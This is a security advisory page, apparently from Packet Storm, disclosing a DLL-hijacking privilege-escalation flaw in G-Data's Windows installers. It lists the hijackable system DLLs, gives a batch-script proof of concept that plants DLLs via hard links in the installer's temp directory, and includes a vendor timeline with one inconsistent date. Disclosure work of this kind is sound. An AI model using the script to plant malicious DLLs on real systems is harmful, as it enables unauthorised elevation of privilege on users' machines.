what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

G-Data DLL Hijacking

G-Data DLL Hijacking
Posted Apr 18, 2016
Authored by Stefan Kanthak

G-Data security products suffer from a DLL hijacking vulnerability.

tags | exploit
systems | windows
SHA-256 | 29c328336f7c955d9cb79a397d3a0fdbdb4936d0cfcc3774ef65a1fcb51f5029

G-Data DLL Hijacking

Change Mirror Download
Hi @ll,

the executable installers of G-Data's "security" products for
Windows, available from <https://www.gdata.de/downloads>, allow
escalation of privilege!


The downloadable executables are self-extractors containing the
real executable installer as resource: they create the subdirectory
%TEMP%\{guidguid-guid-guid-guid-guidguidguid}
using another resource containing the hardcoded value of this GUID,
extract the real executable installer into it and finally start it.

The permissions of this subdirectory allow "full access" for the
unprivileged user who started the self-extractor, enabling him to
create arbitrary files in this subdirectory.

The real installer loads multiple Windows system DLLs from this
subdirectory instead of Windows' "system directory"
%SystemRoot%\System32\ and executes them with elevated rights.


On Windows 7:
dbghelp.dll, dnsapi.dll, oleacc.dll, netapi32.dll, netutils.dll,
srvcli.dll, wkscli.dll, version.dll, uxtheme.dll/dwmapi.dll,
cryptsp.dll, ncrypt.dll, bcrypt.dll, profapi.dll, msimg32.dll,
riched32.dll, iphlpapi.dll, winnsi.dll, rasapi32.dll, rasman.dll,
rtutils.dll, sensapi.dll, rasadhlp.dll, ntmarta.dll, ntshrui.dll,
cscapi.dll, slc.dll, windowscodecs.dll, apphelp.dll, mpr.dll,
userenv.dll, schannel.dll, credssp.dll, secur32.dll, gpapi.dll,
samcli.dll


See <https://cwe.mitre.org/data/definitions/379.html> for the well-
known and well-documented unsafe TEMP directory vulnerability, and
<https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html> plus
<https://capec.mitre.org/data/definitions/471.html> for the well-
known and well-documented unsafe DLL search path vulnerability.


Proof of concept/demonstration:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save
it in your "Downloads" directory;

2. download "G DATA ANTIVIRUS" from <https://www.gdata.de/downloads>
and save it in your "Downloads" directory (the resulting file
is named G_DATA_AntiVirus.exe);

3. create the following file as SENTINEL.CMD in your "Downloads"
directory:

--- SENTINEL.CMD---
G_DATA_AntiVirus.exe

:LOOP
If Not Exist "%TEMP%\{1C2DF59B-0172-4ECB-9A25-7597A4A26A96}\INT_R_BASE_AV.exe" Goto :LOOP

For %%! In (dbghelp dnsapi oleacc netapi32 netutils srvcli wkscli
version uxtheme dwmapi cryptsp ncrypt bcrypt profapi
msimg32 riched32 iphlpapi winnsi rasapi32 rasman rtutils
sensapi rasadhlp ntmarta ntshrui cscapi slc windowscodecs
apphelp mpr userenv schannel credssp secur32 gpapi samcli) Do MkLink /H
"%TEMP%\{1C2DF59B-0172-4ECB-9A25-7597A4A26A96}\%%!.dll" "%~dpn0.dll"
--- EOF ---

4. run the batch script per double-click: it starts the downloaded
self-extractor and plants the DLLs for hijacking;

5. notice the message boxes displayed from the DLLs.

PWNED!


stay tuned
Stefan Kanthak


PS: I really LOVE (security) software with such trivial beginner's
errors. It's a tell-tale sign to better stay away from it!


Timeline:
~~~~~~~~~

2016-06-03 initial report sent to vendor: they provided their
real installers for download, allowing DLL hijacking
in the users "Downloads" directory

2016-03-06 vendor acknowledges receipt:
"At the moment we are exploring the best way to fix it."

2016-04-13 reply from vendor:
"We replaced all installers and tools in the download
area with secure versions."

2016-04-17 No, these "installers" are NOT secure, they use UNSAFE
temp directories and just shift the attack vector a
tiny little bit.

2016-04-18 reply from vendor:
"We assume that this is pure speculation."

2016-04-18 OUCH!
<https://bugzilla.mozilla.org/show_bug.cgi?id=811557>,
<https://code.google.com/p/google-security-research/issues/detail?id=440>

2016-04-18 reply from vendor:
"the attacker needs access to the system for that."

2016-04-18 report published
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close